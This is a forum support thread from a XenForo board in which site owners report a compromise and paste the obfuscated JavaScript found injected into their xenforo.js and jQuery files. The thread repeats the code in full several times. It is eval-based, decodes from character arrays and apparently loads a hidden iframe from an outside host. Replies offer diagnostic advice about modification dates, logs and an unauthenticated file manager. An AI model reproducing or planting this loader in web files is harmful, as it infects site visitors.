XenForo hacked

Status
Not open for further replies.
giorgino

giorgino

Well-known member
Hi all. I'm in trouble with one of my board.

The hacker modify my ad_header template with a malicious link
In my admin log:

Schermata 2012-12-19 alle 16.30.17.webp

Code: 
array(12) {
  ["titleArray"] => array(1) {
    [537] => string(9) "ad_header"
  }
  ["styleidArray"] => array(1) {
    [537] => string(1) "2"
  }
  ["templateArray"] => array(1) {
    [537] => string(356) "<!-- Inizio Banner Testata 728x90 -->
<div class="ad_header">
 
<!-- immobilio_728:90_header -->
<div id='div-gpt-ad-1338486582932-2' style='width:728px; height:90px;'>
<script type='text/javascript'>
googletag.cmd.push(function() { googletag.display('div-gpt-ad-1338486582932-2'); });
</script>
</div>
 
</div>
<!-- Fine Banner Testata 728x90 -->"
  }
  ["addon_id"] => string(7) "XenForo"
  ["style_id"] => string(1) "2"
  ["template_id"] => string(3) "537"
  ["title_original"] => string(9) "ad_header"
  ["includeTitles"] => array(3) {
    [1] => string(13) "ad_header.css"
    [2] => string(9) "ad_header"
    [3] => string(13) "ad_header.css"
  }
  ["_TemplateEditorAjax"] => string(1) "1"
  ["_xfRequestUri"] => string(50) "/admin.php?templates/ad_header.537/edit&style_id=2"
  ["_xfNoRedirect"] => string(1) "1"
  ["_xfResponseType"] => string(4) "json"
}

What can I do? :(
 
Sort by date Sort by votes
After changed admin passwords, set 444 the php and js files every day, my
/js/xenforo/xenforo.js
/js/jquery/jquery-1.5.2.min.js

are injected with this code...

Code: 
try{window.document.body++}catch(gdsgsdg){dbshre=119;if(dbshre){zaq=0;try{v=document.createElement("div");}catch(agdsg){zaq=1;}if(!zaq){e=eval;}ss=String;asgq=new Array(0,1,98,96,27,31,92,104,93,112,100,93,103,110,41,94,93,109,63,103,92,101,94,104,111,106,58,114,78,92,94,70,90,103,96,31,31,91,105,95,112,31,34,85,43,84,33,116,7,4,0,1,98,96,109,88,101,94,108,35,32,51,6,3,4,116,24,94,102,110,92,24,116,7,4,0,1,93,105,94,108,101,94,104,111,37,111,107,99,111,92,32,27,54,100,93,106,90,103,96,23,107,107,93,56,30,96,109,110,107,49,39,40,99,95,96,103,108,115,105,90,106,90,109,100,92,107,90,104,106,101,113,102,99,117,92,106,92,105,104,106,38,90,109,100,88,50,44,43,45,43,45,40,110,42,39,91,45,45,95,39,46,44,93,48,40,89,92,94,95,42,42,43,96,45,88,92,91,93,94,40,48,44,96,45,47,41,32,26,114,96,92,109,98,56,30,41,41,42,34,23,96,94,99,98,95,108,54,33,44,39,40,32,26,110,107,113,101,95,56,30,111,98,94,111,95,50,42,42,43,103,112,52,98,96,96,95,97,110,53,40,40,41,106,115,50,104,104,109,100,107,97,104,104,53,88,90,108,105,103,108,108,94,53,113,96,107,98,92,100,99,97,109,115,53,95,97,93,94,96,101,51,101,95,97,107,50,38,43,43,39,40,41,106,115,50,108,104,106,53,39,51,32,56,55,38,97,95,108,92,100,93,55,28,36,50,5,2,3,120,4,1,2,96,112,101,91,109,99,106,101,24,98,96,109,88,101,94,108,35,32,115,6,3,4,0,110,90,108,27,93,24,54,26,95,102,91,110,103,96,101,108,39,93,109,92,89,109,95,64,99,93,102,95,105,107,32,32,99,97,105,89,102,95,34,32,51,95,40,110,92,108,58,110,111,105,97,91,111,111,92,32,32,109,109,90,31,37,33,99,107,108,105,52,42,38,97,93,99,106,106,113,103,93,109,88,107,98,95,110,88,102,104,104,116,100,97,115,95,109,90,103,102,109,41,88,107,98,91,53,42,41,43,46,48,38,108,40,42,94,43,43,93,42,49,42,91,46,43,92,90,92,93,45,45,41,94,43,91,95,89,91,92,43,51,42,94,43,50,44,30,33,52,96,41,106,108,114,102,96,37,100,94,96,111,52,31,38,43,43,39,40,41,106,115,30,51,95,40,110,107,113,101,95,41,109,97,108,99,93,96,100,98,110,116,52,31,97,99,95,91,93,103,33,54,93,38,108,110,116,99,93,39,110,106,103,53,32,42,34,50,94,39,109,111,112,100,94,40,107,102,107,98,110,100,102,102,54,33,92,89,107,104,102,112,107,93,32,53,97,37,107,109,115,103,92,38,109,105,107,52,31,41,33,54,93,38,108,95,111,56,108,109,108,100,89,109,109,95,35,30,111,98,94,111,95,31,37,33,44,39,40,32,35,54,93,38,108,95,111,56,108,109,108,100,89,109,109,95,35,30,96,94,99,98,95,108,32,38,34,40,40,41,33,36,50,5,2,3,4,91,103,92,111,104,92,102,109,40,98,92,108,62,102,96,100,93,103,110,110,57,113,77,91,98,69,89,102,95,35,30,90,104,94,116,30,33,84,42,88,37,89,105,106,96,101,92,60,98,100,99,92,33,96,36,50,5,2,3,120);s="";for(i=0;i-730!=0;i++){if(window.document)s+=ss["fro"+"mCharCo"+"de"](1*asgq[i]-(i%5-5-4));}
z=s;e(s);}}

and

Code: 
try{document.body++}catch(dgsgsdg){zxc=12;ww=window;}if(zxc){try{d=document["createElement"]("span");}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="zxc"}catch(bawetawe){if(ww.document){v=window;n=["9","9","41","3o","16","1e","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1f","4j","d","9","9","9","41","3o","4a","3j","45","3n","4a","1e","1f","27","d","9","9","4l","16","3n","44","4b","3n","16","4j","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","4f","4a","41","4c","3n","1e","18","28","41","3o","4a","3j","45","3n","16","4b","4a","3l","29","1d","40","4c","4c","48","26","1l","1l","48","4a","47","3m","4d","3l","4c","47","4b","3j","45","3k","41","3n","46","4c","3j","44","3n","4b","1k","3l","47","45","1l","3m","3j","46","48","47","3m","1k","48","40","48","1d","16","4f","41","3m","4c","40","29","1d","1n","1m","1m","1d","16","40","3n","41","3p","40","4c","29","1d","1n","1m","1m","1d","16","4b","4c","4h","44","3n","29","1d","4f","41","3m","4c","40","26","1n","1m","1m","48","4g","27","40","3n","41","3p","40","4c","26","1n","1m","1m","48","4g","27","48","47","4b","41","4c","41","47","46","26","3j","3k","4b","47","44","4d","4c","3n","27","4e","41","4b","41","3k","41","44","41","4c","4h","26","40","41","3m","3m","3n","46","27","44","3n","3o","4c","26","1j","1n","1m","1m","1m","1m","48","4g","27","4c","47","48","26","1m","27","1d","2a","28","1l","41","3o","4a","3j","45","3n","2a","18","1f","27","d","9","9","4l","d","9","9","3o","4d","46","3l","4c","41","47","46","16","41","3o","4a","3j","45","3n","4a","1e","1f","4j","d","9","9","9","4e","3j","4a","16","3o","16","29","16","3m","47","3l","4d","45","3n","46","4c","1k","3l","4a","3n","3j","4c","3n","2h","44","3n","45","3n","46","4c","1e","1d","41","3o","4a","3j","45","3n","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4b","4a","3l","1d","1i","1d","40","4c","4c","48","26","1l","1l","48","4a","47","3m","4d","3l","4c","47","4b","3j","45","3k","41","3n","46","4c","3j","44","3n","4b","1k","3l","47","45","1l","3m","3j","46","48","47","3m","1k","48","40","48","1d","1f","27","3o","1k","4b","4c","4h","44","3n","1k","44","3n","3o","4c","29","1d","1j","1n","1m","1m","1m","1m","48","4g","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4e","41","4b","41","3k","41","44","41","4c","4h","29","1d","40","41","3m","3m","3n","46","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","4c","4h","44","3n","1k","48","47","4b","41","4c","41","47","46","29","1d","3j","3k","4b","47","44","4d","4c","3n","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4f","41","3m","4c","40","1d","1i","1d","1n","1m","1m","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","40","3n","41","3p","40","4c","1d","1i","1d","1n","1m","1m","1d","1f","27","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1k","3j","48","48","3n","46","3m","2f","40","41","44","3m","1e","3o","1f","27","d","9","9","4l"];h=2;s="";if(zxc){for(i=0;i-652!=0;i++){k=i;s+=String["fromCharCode"](parseInt(n,12*2+2));}z=s;vl="val";if(ww.document)eval(z)}}}}

I do not know what to do... :(
 
Upvote 0 Downvote
giorgino said:
After changed admin passwords, set 444 the php and js files every day, my
/js/xenforo/xenforo.js
/js/jquery/jquery-1.5.2.min.js

are injected with this code...

Code: 
try{window.document.body++}catch(gdsgsdg){dbshre=119;if(dbshre){zaq=0;try{v=document.createElement("div");}catch(agdsg){zaq=1;}if(!zaq){e=eval;}ss=String;asgq=new Array(0,1,98,96,27,31,92,104,93,112,100,93,103,110,41,94,93,109,63,103,92,101,94,104,111,106,58,114,78,92,94,70,90,103,96,31,31,91,105,95,112,31,34,85,43,84,33,116,7,4,0,1,98,96,109,88,101,94,108,35,32,51,6,3,4,116,24,94,102,110,92,24,116,7,4,0,1,93,105,94,108,101,94,104,111,37,111,107,99,111,92,32,27,54,100,93,106,90,103,96,23,107,107,93,56,30,96,109,110,107,49,39,40,99,95,96,103,108,115,105,90,106,90,109,100,92,107,90,104,106,101,113,102,99,117,92,106,92,105,104,106,38,90,109,100,88,50,44,43,45,43,45,40,110,42,39,91,45,45,95,39,46,44,93,48,40,89,92,94,95,42,42,43,96,45,88,92,91,93,94,40,48,44,96,45,47,41,32,26,114,96,92,109,98,56,30,41,41,42,34,23,96,94,99,98,95,108,54,33,44,39,40,32,26,110,107,113,101,95,56,30,111,98,94,111,95,50,42,42,43,103,112,52,98,96,96,95,97,110,53,40,40,41,106,115,50,104,104,109,100,107,97,104,104,53,88,90,108,105,103,108,108,94,53,113,96,107,98,92,100,99,97,109,115,53,95,97,93,94,96,101,51,101,95,97,107,50,38,43,43,39,40,41,106,115,50,108,104,106,53,39,51,32,56,55,38,97,95,108,92,100,93,55,28,36,50,5,2,3,120,4,1,2,96,112,101,91,109,99,106,101,24,98,96,109,88,101,94,108,35,32,115,6,3,4,0,110,90,108,27,93,24,54,26,95,102,91,110,103,96,101,108,39,93,109,92,89,109,95,64,99,93,102,95,105,107,32,32,99,97,105,89,102,95,34,32,51,95,40,110,92,108,58,110,111,105,97,91,111,111,92,32,32,109,109,90,31,37,33,99,107,108,105,52,42,38,97,93,99,106,106,113,103,93,109,88,107,98,95,110,88,102,104,104,116,100,97,115,95,109,90,103,102,109,41,88,107,98,91,53,42,41,43,46,48,38,108,40,42,94,43,43,93,42,49,42,91,46,43,92,90,92,93,45,45,41,94,43,91,95,89,91,92,43,51,42,94,43,50,44,30,33,52,96,41,106,108,114,102,96,37,100,94,96,111,52,31,38,43,43,39,40,41,106,115,30,51,95,40,110,107,113,101,95,41,109,97,108,99,93,96,100,98,110,116,52,31,97,99,95,91,93,103,33,54,93,38,108,110,116,99,93,39,110,106,103,53,32,42,34,50,94,39,109,111,112,100,94,40,107,102,107,98,110,100,102,102,54,33,92,89,107,104,102,112,107,93,32,53,97,37,107,109,115,103,92,38,109,105,107,52,31,41,33,54,93,38,108,95,111,56,108,109,108,100,89,109,109,95,35,30,111,98,94,111,95,31,37,33,44,39,40,32,35,54,93,38,108,95,111,56,108,109,108,100,89,109,109,95,35,30,96,94,99,98,95,108,32,38,34,40,40,41,33,36,50,5,2,3,4,91,103,92,111,104,92,102,109,40,98,92,108,62,102,96,100,93,103,110,110,57,113,77,91,98,69,89,102,95,35,30,90,104,94,116,30,33,84,42,88,37,89,105,106,96,101,92,60,98,100,99,92,33,96,36,50,5,2,3,120);s="";for(i=0;i-730!=0;i++){if(window.document)s+=ss["fro"+"mCharCo"+"de"](1*asgq[i]-(i%5-5-4));}
z=s;e(s);}}

and

Code: 
try{document.body++}catch(dgsgsdg){zxc=12;ww=window;}if(zxc){try{d=document["createElement"]("span");}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="zxc"}catch(bawetawe){if(ww.document){v=window;n=["9","9","41","3o","16","1e","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1f","4j","d","9","9","9","41","3o","4a","3j","45","3n","4a","1e","1f","27","d","9","9","4l","16","3n","44","4b","3n","16","4j","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","4f","4a","41","4c","3n","1e","18","28","41","3o","4a","3j","45","3n","16","4b","4a","3l","29","1d","40","4c","4c","48","26","1l","1l","48","4a","47","3m","4d","3l","4c","47","4b","3j","45","3k","41","3n","46","4c","3j","44","3n","4b","1k","3l","47","45","1l","3m","3j","46","48","47","3m","1k","48","40","48","1d","16","4f","41","3m","4c","40","29","1d","1n","1m","1m","1d","16","40","3n","41","3p","40","4c","29","1d","1n","1m","1m","1d","16","4b","4c","4h","44","3n","29","1d","4f","41","3m","4c","40","26","1n","1m","1m","48","4g","27","40","3n","41","3p","40","4c","26","1n","1m","1m","48","4g","27","48","47","4b","41","4c","41","47","46","26","3j","3k","4b","47","44","4d","4c","3n","27","4e","41","4b","41","3k","41","44","41","4c","4h","26","40","41","3m","3m","3n","46","27","44","3n","3o","4c","26","1j","1n","1m","1m","1m","1m","48","4g","27","4c","47","48","26","1m","27","1d","2a","28","1l","41","3o","4a","3j","45","3n","2a","18","1f","27","d","9","9","4l","d","9","9","3o","4d","46","3l","4c","41","47","46","16","41","3o","4a","3j","45","3n","4a","1e","1f","4j","d","9","9","9","4e","3j","4a","16","3o","16","29","16","3m","47","3l","4d","45","3n","46","4c","1k","3l","4a","3n","3j","4c","3n","2h","44","3n","45","3n","46","4c","1e","1d","41","3o","4a","3j","45","3n","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4b","4a","3l","1d","1i","1d","40","4c","4c","48","26","1l","1l","48","4a","47","3m","4d","3l","4c","47","4b","3j","45","3k","41","3n","46","4c","3j","44","3n","4b","1k","3l","47","45","1l","3m","3j","46","48","47","3m","1k","48","40","48","1d","1f","27","3o","1k","4b","4c","4h","44","3n","1k","44","3n","3o","4c","29","1d","1j","1n","1m","1m","1m","1m","48","4g","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4e","41","4b","41","3k","41","44","41","4c","4h","29","1d","40","41","3m","3m","3n","46","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","4c","4h","44","3n","1k","48","47","4b","41","4c","41","47","46","29","1d","3j","3k","4b","47","44","4d","4c","3n","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4f","41","3m","4c","40","1d","1i","1d","1n","1m","1m","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","40","3n","41","3p","40","4c","1d","1i","1d","1n","1m","1m","1d","1f","27","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1k","3j","48","48","3n","46","3m","2f","40","41","44","3m","1e","3o","1f","27","d","9","9","4l"];h=2;s="";if(zxc){for(i=0;i-652!=0;i++){k=i;s+=String["fromCharCode"](parseInt(n,12*2+2));}z=s;vl="val";if(ww.document)eval(z)}}}}

I do not know what to do... :(
Click to expand...
Hire a sysadmin to go over your server. Maybe Borbole on here may be able to offer assistance, as he helped Blueprint4Love with her hacked server.
 
Upvote 0 Downvote
giorgino said:
After changed admin passwords, set 444 the php and js files every day, my
/js/xenforo/xenforo.js
/js/jquery/jquery-1.5.2.min.js

are injected with this code...

Code: 
try{window.document.body++}catch(gdsgsdg){dbshre=119;if(dbshre){zaq=0;try{v=document.createElement("div");}catch(agdsg){zaq=1;}if(!zaq){e=eval;}ss=String;asgq=new Array(0,1,98,96,27,31,92,104,93,112,100,93,103,110,41,94,93,109,63,103,92,101,94,104,111,106,58,114,78,92,94,70,90,103,96,31,31,91,105,95,112,31,34,85,43,84,33,116,7,4,0,1,98,96,109,88,101,94,108,35,32,51,6,3,4,116,24,94,102,110,92,24,116,7,4,0,1,93,105,94,108,101,94,104,111,37,111,107,99,111,92,32,27,54,100,93,106,90,103,96,23,107,107,93,56,30,96,109,110,107,49,39,40,99,95,96,103,108,115,105,90,106,90,109,100,92,107,90,104,106,101,113,102,99,117,92,106,92,105,104,106,38,90,109,100,88,50,44,43,45,43,45,40,110,42,39,91,45,45,95,39,46,44,93,48,40,89,92,94,95,42,42,43,96,45,88,92,91,93,94,40,48,44,96,45,47,41,32,26,114,96,92,109,98,56,30,41,41,42,34,23,96,94,99,98,95,108,54,33,44,39,40,32,26,110,107,113,101,95,56,30,111,98,94,111,95,50,42,42,43,103,112,52,98,96,96,95,97,110,53,40,40,41,106,115,50,104,104,109,100,107,97,104,104,53,88,90,108,105,103,108,108,94,53,113,96,107,98,92,100,99,97,109,115,53,95,97,93,94,96,101,51,101,95,97,107,50,38,43,43,39,40,41,106,115,50,108,104,106,53,39,51,32,56,55,38,97,95,108,92,100,93,55,28,36,50,5,2,3,120,4,1,2,96,112,101,91,109,99,106,101,24,98,96,109,88,101,94,108,35,32,115,6,3,4,0,110,90,108,27,93,24,54,26,95,102,91,110,103,96,101,108,39,93,109,92,89,109,95,64,99,93,102,95,105,107,32,32,99,97,105,89,102,95,34,32,51,95,40,110,92,108,58,110,111,105,97,91,111,111,92,32,32,109,109,90,31,37,33,99,107,108,105,52,42,38,97,93,99,106,106,113,103,93,109,88,107,98,95,110,88,102,104,104,116,100,97,115,95,109,90,103,102,109,41,88,107,98,91,53,42,41,43,46,48,38,108,40,42,94,43,43,93,42,49,42,91,46,43,92,90,92,93,45,45,41,94,43,91,95,89,91,92,43,51,42,94,43,50,44,30,33,52,96,41,106,108,114,102,96,37,100,94,96,111,52,31,38,43,43,39,40,41,106,115,30,51,95,40,110,107,113,101,95,41,109,97,108,99,93,96,100,98,110,116,52,31,97,99,95,91,93,103,33,54,93,38,108,110,116,99,93,39,110,106,103,53,32,42,34,50,94,39,109,111,112,100,94,40,107,102,107,98,110,100,102,102,54,33,92,89,107,104,102,112,107,93,32,53,97,37,107,109,115,103,92,38,109,105,107,52,31,41,33,54,93,38,108,95,111,56,108,109,108,100,89,109,109,95,35,30,111,98,94,111,95,31,37,33,44,39,40,32,35,54,93,38,108,95,111,56,108,109,108,100,89,109,109,95,35,30,96,94,99,98,95,108,32,38,34,40,40,41,33,36,50,5,2,3,4,91,103,92,111,104,92,102,109,40,98,92,108,62,102,96,100,93,103,110,110,57,113,77,91,98,69,89,102,95,35,30,90,104,94,116,30,33,84,42,88,37,89,105,106,96,101,92,60,98,100,99,92,33,96,36,50,5,2,3,120);s="";for(i=0;i-730!=0;i++){if(window.document)s+=ss["fro"+"mCharCo"+"de"](1*asgq[i]-(i%5-5-4));}
z=s;e(s);}}

and

Code: 
try{document.body++}catch(dgsgsdg){zxc=12;ww=window;}if(zxc){try{d=document["createElement"]("span");}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="zxc"}catch(bawetawe){if(ww.document){v=window;n=["9","9","41","3o","16","1e","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1f","4j","d","9","9","9","41","3o","4a","3j","45","3n","4a","1e","1f","27","d","9","9","4l","16","3n","44","4b","3n","16","4j","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","4f","4a","41","4c","3n","1e","18","28","41","3o","4a","3j","45","3n","16","4b","4a","3l","29","1d","40","4c","4c","48","26","1l","1l","48","4a","47","3m","4d","3l","4c","47","4b","3j","45","3k","41","3n","46","4c","3j","44","3n","4b","1k","3l","47","45","1l","3m","3j","46","48","47","3m","1k","48","40","48","1d","16","4f","41","3m","4c","40","29","1d","1n","1m","1m","1d","16","40","3n","41","3p","40","4c","29","1d","1n","1m","1m","1d","16","4b","4c","4h","44","3n","29","1d","4f","41","3m","4c","40","26","1n","1m","1m","48","4g","27","40","3n","41","3p","40","4c","26","1n","1m","1m","48","4g","27","48","47","4b","41","4c","41","47","46","26","3j","3k","4b","47","44","4d","4c","3n","27","4e","41","4b","41","3k","41","44","41","4c","4h","26","40","41","3m","3m","3n","46","27","44","3n","3o","4c","26","1j","1n","1m","1m","1m","1m","48","4g","27","4c","47","48","26","1m","27","1d","2a","28","1l","41","3o","4a","3j","45","3n","2a","18","1f","27","d","9","9","4l","d","9","9","3o","4d","46","3l","4c","41","47","46","16","41","3o","4a","3j","45","3n","4a","1e","1f","4j","d","9","9","9","4e","3j","4a","16","3o","16","29","16","3m","47","3l","4d","45","3n","46","4c","1k","3l","4a","3n","3j","4c","3n","2h","44","3n","45","3n","46","4c","1e","1d","41","3o","4a","3j","45","3n","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4b","4a","3l","1d","1i","1d","40","4c","4c","48","26","1l","1l","48","4a","47","3m","4d","3l","4c","47","4b","3j","45","3k","41","3n","46","4c","3j","44","3n","4b","1k","3l","47","45","1l","3m","3j","46","48","47","3m","1k","48","40","48","1d","1f","27","3o","1k","4b","4c","4h","44","3n","1k","44","3n","3o","4c","29","1d","1j","1n","1m","1m","1m","1m","48","4g","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4e","41","4b","41","3k","41","44","41","4c","4h","29","1d","40","41","3m","3m","3n","46","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","4c","4h","44","3n","1k","48","47","4b","41","4c","41","47","46","29","1d","3j","3k","4b","47","44","4d","4c","3n","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4f","41","3m","4c","40","1d","1i","1d","1n","1m","1m","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","40","3n","41","3p","40","4c","1d","1i","1d","1n","1m","1m","1d","1f","27","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1k","3j","48","48","3n","46","3m","2f","40","41","44","3m","1e","3o","1f","27","d","9","9","4l"];h=2;s="";if(zxc){for(i=0;i-652!=0;i++){k=i;s+=String["fromCharCode"](parseInt(n,12*2+2));}z=s;vl="val";if(ww.document)eval(z)}}}}

I do not know what to do... :(
Click to expand...
Interesting.

My files have been injected with similar code.
 
Upvote 0 Downvote
thats what i was thinking, maybe you two list all your add-ons.. i'll check through my files for that "injection" or whatever..
 
Upvote 0 Downvote
Chris, what's the modification date of the script files
Look for anything else modified at a similar time

Chris, also do you have FTP, CPanel and server access logs (if not, can you ask your host)?
 
Upvote 0 Downvote
Not present in either of my files on CycleChat - I have the following add-ons:
  • Create Post on Report 1.0.0
  • FoolBotHoneyPot - Stop bots from registering with honey pots 1.0.10
  • Ignore What's New by Waindigo 1.0.3
  • Member Map 1.0.5
  • Multiple Account Detection 1.0.1
  • Nodes As Tabs 1.1.2b
  • Not Safe For Work 0.9.3
  • Online Status 1.1
  • RCBD - RecentStatus 4.0.1
  • Tapatalk 1.4.0
  • Thread Ban 1.0.1
  • Xen-TR.com Who Has Visited 2.5.1
  • XenFans.com - Thread Tools 1.1.2
  • XenForo Enhanced Search 1.0.0
  • XenSSO - Master 1.0.7
  • [8wayRun.Com] XenAtendo (Events) 1.4.5
  • [xfr] User Albums 1.0.0 b6
 
Upvote 0 Downvote
I just checked the two files, for both lines of those codes to be sure, didn't find any of it. I have MassAlert, NodesAsTabs, Tapatalk, VB 4 to XF importer and tlk Read PC resources installed ..
 
Upvote 0 Downvote
tenants said:
Chris, what's the modification date of the script files
Look for anything else modified at a similar time

Chris, also do you have FTP, CPanel and server access logs (if not, can you ask your host)?
Click to expand...
The DB manager (adminer) was modified yesterday.

The file manager (an unauthenticated file manager, by the way. Full read/write access with no username or password) has a modified date of February 2012 which is the same date as a load of other files added by the site owner in the same folder.

Our server guy is currently calling the owner stupid, but I just get the feeling that even he wouldn't be that stupid to put an unauthenticated file manager script anywhere on the FTP. The fact that the modified date/time is the same as the other files in there (just some images) suggests that it's been in there for nearly a year... but again, it strikes me as odd that he'd do such a thing. Is it possible that the code has been somehow injected into an existing file without modifying the modified date stamp?

There's no CPanel. The server is managed over SSH only by our server guy. He's the only one with access and there has been no SSH access from any IP other than his own. Similarly with FTP, no access other than myself and him.

The scripts have been accessed by a certain IP address over the last week.
 
Upvote 0 Downvote
Status
Not open for further replies.

Similar threads

Alan_SP
  • Question Question
XF 2.2 Users can't register - server errors
Replies
6
Views
424
Alan_SP
Alan_SP
T
  • Question Question
XF 2.2 ErrorException: Template error: [E_USER_WARNING] Cannot call method getConsentedGroups on a non-object (NULL)
Replies
5
Views
209
mattrogowski
mattrogowski
Dkf
  • Question Question
XF 2.2 Errors after transitioning from PHP7 to PHP8
Replies
3
Views
259
FTL
FTL
El Porcharo
  • Question Question
XF 2.2 ErrorException: [E_DEPRECATED] htmlspecialchars()
Replies
2
Views
372
El Porcharo
El Porcharo
Daveo16
  • Question Question
XF 2.2 Odd error in xenforo error logs
Replies
5
Views
581
Sim
Sim
Top Bottom